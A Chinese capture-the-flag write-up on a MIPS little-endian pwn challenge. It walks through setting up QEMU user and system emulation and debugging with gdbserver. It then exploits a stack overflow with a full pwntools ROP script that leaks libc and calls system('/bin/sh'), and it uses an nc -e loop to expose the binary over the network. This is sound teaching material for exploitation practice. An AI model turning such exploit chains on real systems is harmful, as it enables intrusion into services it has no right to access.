本文以一道简单的mips
pwn
题,讲解mips
环境搭建及mips
ROP
的构造。这道题目是安洵杯的一道pwn
题,题目链接https://github.com/Q1IQ/ctf/blob/master/mips/pwn2
题目初览
首先使用file
看一下文件类型,从这里我们能得到的信息是题目是32位的;LSB
表示是小端,如果是MSB
则表示大端;MIPS32 version 1 (SYSV)
表示MIPS
的版本,MIPS
版本有MIPS32/64、MIPS I
到V
等等;题目是动态链接的,所以我们需要对应的动态链接库。
直接运行程序是运行不起来的,这是因为
mips
架构的elf
文件需要在mips
环境中才能运行,而且还需要相应的动态链接库。所以下面我们来一起搭建mips
环境。要注意题目是什么环境,搭建的就得是什么环境。
交叉编译
交叉编译和本地编译是相对应的概念。我们常见的编译都是本地编译:编译出来的程序是由当前平台编译得到的,而且只能放到当前平台下运行;而交叉编译是指在当前平台下编译出在其他平台下运行的程序,即编译出来的程序运行环境与编译它的环境不一样。
获取交叉编译工具
如果出题人没有给出mips
文件依赖的库文件的话,就需要我们自己补上(这就好比libc
pwn
题不给libc
库)。这些库文件可以在交叉编译工具中找到。
有两个办法获取交叉编译工具。
1.源码编译
我们可以使用buildroot
自己编译不同架构的交叉编译工具,关于这个的教程很多,可以自行网上搜索不再赘述。对于本题来说,我们在配置时要将第一项Target Architecture
,改成MIPS(little endian)
:
编译好后在buildroot/output/build/uclibc-1.0.32/lib/
文件夹下可以找到我们需要的库文件,对于本题来说,我们需要以下三个库文件来使我们的程序能够正常运行。
2.直接下载二进制文件
我们也可以用现成的交叉编译工具,下载链接https://www.uclibc.org/downloads/binaries/0.9.30.1/。
本题是mipsel(little endian)
,所以需要下载cross-compiler-mipsel
,其lib
文件夹下存放着库文件,同样也是需要以下三个库文件来使我们的题目程序能够正常运行。
我们在题目所在的文件夹下创建一个名为lib
的文件夹,将这三个库文件放在lib
文件夹中,后面将使用这个文件夹作为库文件夹。
搭建QEMU虚拟机
下面我们使用qemu
搭建mips
环境。首先我们需要知道qemu
支持两种操作模式:用户模式和系统模式。用户模式允许一个CPU
构建的进程在另一个CPU
上执行;系统模式则是允许对整个系统进行仿真,包括处理器和配套的外围设备。做题时选用适合的一种即可,下面会介绍配置以上两种环境的方法。
我的本机环境是Ubuntu16.04
,先将qemu
安装好。
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
系统模式
我们可以使用系统模式配置一台能够联网的qemu
虚拟机。
网络配置
如果想要qemu
能够联网,需要手动为其虚拟化一张网卡。
安装虚拟网桥工具和UML工具。
sudo apt-get install uml-utilities
sudo apt-get install bridge-utils
首先使用ifconfig
查看本机网络,下面ens33
是能够联网的网卡,lo
是本地环回接口。
我们要先关闭ens33
网卡,创建virbr0
虚拟网桥,将网卡设置为virbr0
的一个接口。如果只有一个网桥,则关闭生成树协议,设置virbr0
的转发延迟为1,设置 virbr0
的hello
时间为1。
mips $ sudo ifconfig ens33 down
mips $ sudo brctl addbr virbr0
mips $ sudo brctl addif virbr0 ens33
mips $ sudo brctl stp virbr0 off
mips $ sudo brctl setfd virbr0 1
mips $ sudo brctl sethello virbr0 1
然后启用虚拟网桥,启用ens33
网卡,从 dhcp
服务器获取虚拟网桥IP地址。
mips $ sudo ifconfig virbr0 0.0.0.0 promisc up
mips $ sudo ifconfig ens33 0.0.0.0 promisc up
mips $ sudo dhclient virbr0
创建一个tap0
接口,并添加到虚拟网桥,然后启用tap0
接口,这个tap0
接口会和qemu
虚拟机相连。
mips $ sudo tunctl -t tap0
mips $ sudo brctl addif virbr0 tap0
mips $ sudo ifconfig tap0 0.0.0.0 promisc up
配置好的效果见下。
下载启动镜像
下面我们下载mips
镜像。前面分析可知这道题是小端的,所以我们需要下载el(little endian)
镜像,这里我们选择debian_wheezy_mipsel_standard.qcow2
;内核选择vmlinux-3.2.0-4-4kc-malta
。下载链接https://people.debian.org/~aurel32/qemu/mipsel/
启动镜像。
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
-net nic
表示希望 QEMU
在虚拟机中创建一张虚拟网卡,-net tap
表示连接类型为 TAP
,并且指定了网卡接口名称(就是刚才创建的 tap0
,相当于把虚拟机接入网桥)。
用户名和密码都是root
。
直接运行题目会显示缺少共享库,我们可以将共享库复制到根文件夹下的lib
文件夹下,也可以使用chroot
更改根目录。运行题目。
做题少不了调试,我们可以下载gdbserver
,启动要调试的程序或附加到需要调试的进程上,然后使用gdb-mutiarch
连接调试。各个架构静态编译的gdbserver下载链接https://github.com/e3pem/embedded-toolkit
查看gdbserver
的README
,本题使用的mips
版本为MIPS32 version 1 (SYSV)
,搜索找到对应的gdbserver
。
运行gdbserver
,设置好ip端口以及要调试的程序。
在本机使用gdb-mutiarch
连接调试。
gdb-multiarch pwn2
set arch mips
set endian little
target remote 192.168.122.12:12345
效果如下。
如果想用脚本直接和题目进行交互,可以在虚拟机里无限循环运行程序,在脚本中远程连接qemu
虚拟机ip
和端口(下面设为了8080)即可,这样不太稳定,但是也够用了。
while true ;do nc -lvvp 8080 -t -e ~/pwn2; done;
此外也可以使用socat
,可以从网上下载安装,也可以使用静态编译的,这里有一个静态编译的mips工具集:mips-binaries-master,但是这个是MSB(大端)的,无法在小端的虚拟机里运行,遇到大端的题目可以使用。
用户模式
因为我们需要自己设定lib
文件夹,所以需要使用静态编译的qemu-mips-static
。将qemu-mipsel-static
复制到本地文件夹。
cp $(which qemu-mipsel-static) ./
在lib
文件夹中放好题目需要的库,使用chroot
命令将当前目录设为根目录,运行程序。
sudo chroot . ./qemu-mipsel-static ./pwn2
增加-g
选项指定端口即可调试。
sudo chroot . ./qemu-mipsel-static -g 54321 ./pwn2
开另一个终端使用gdb-mutiarch连接调试。
gdb-multiarch pwn2
set arch mips
set endian little
target remote 127.0.0.1:54321
题目分析
查看一下程序的保护机制,发现什么保护都没开。
使用IDA
打开题目文件。关于mips
汇编的知识我就不多介绍了,网上的介绍比较多,例如:
https://valeeraz.github.io/2020/05/08/architecture-mips/
https://www.inntechy.cn/wp-content/uploads/2018/04/参考资料-MIPS-汇编语言简要介绍.pdf
这里介绍一个IDA的小技巧。打开Option->general
,选择Auto comments
,IDA
会在汇编语句后面生成一些提示,告诉我们汇编语句的含义。
效果就是下面这样,直接看这些注释就不用挨个去查mips
语句的含义了,其他一切生僻的架构也可以这样快速入手。
下面我们来看汇编,首先看main
函数,程序逻辑为输入name
,name
大小为0x14个字节。接着进入了一个叫做vuln
的函数里,这个函数里有个比较明显的栈溢出。
漏洞利用
做基础栈溢出pwn
题时比较常规的解法就是ROP
,对于mips
架构也是同理。对于本题可以先泄露read
获取libc
地址,再构造system('/bin/sh')
,'/bin/sh'
是在libc里找的,这里就和基础栈溢出pwn
一样了。下面详细的讲解。
首先我们要泄露libc
地址,为了构造puts(elf.got['read'])
,我们需要控制a0。
在0x004006C8
处有一个可用的gadget
,这个gadget
可以控制s0
、s1
、s2
、s2
以及跳转地址。
下面0x004007A8
处的gadget
将s1
赋值给a0
,并跳转到s2
,两个gadget
配合就达到了控制a0
的目的。
构造system('/bin/sh')
是同理的。exp
附上。
from pwn import *
context.log_level = 'debug'
libc=ELF("./lib/libc.so.0")
elf = ELF('./pwn2')
io = remote("192.168.3.26", 8080)
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ru("What's your name: n")
sl("q1iq")
sleep(0.2)
r()
#leak got
j2s2_s1a0=0x004007A8#gadget
j_s3210=0x004006C8
main=0x00400820
c=''
c+='x31'*0x24
c+=p32(j_s3210)
c+='x31'*0x1c
c+=p32(1111)#s0
c+=p32(elf.got['read'])#s1
c+=p32(0x0040092C)#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra
c+='x20'*0x20
c+=p32(0x400750)
sl(c)
#libcbase
read_addr=u32(r()[0:4])
libc.address=read_addr-libc.symbols['read']
#getshell
c=''
c+='x31'*0x24
c+=p32(j_s3210)
c+='x31'*0x1c
c+=p32(1111)#s0
c+=p32(libc.search('/bin/sh').next())#s1
c+=p32(libc.symbols['system'])#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra
sl(c)
io.interactive()
成功获取shell
。
本文始发于微信公众号(黑伞攻防实验室):从一道mips题目学习搭建mips环境及ROP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论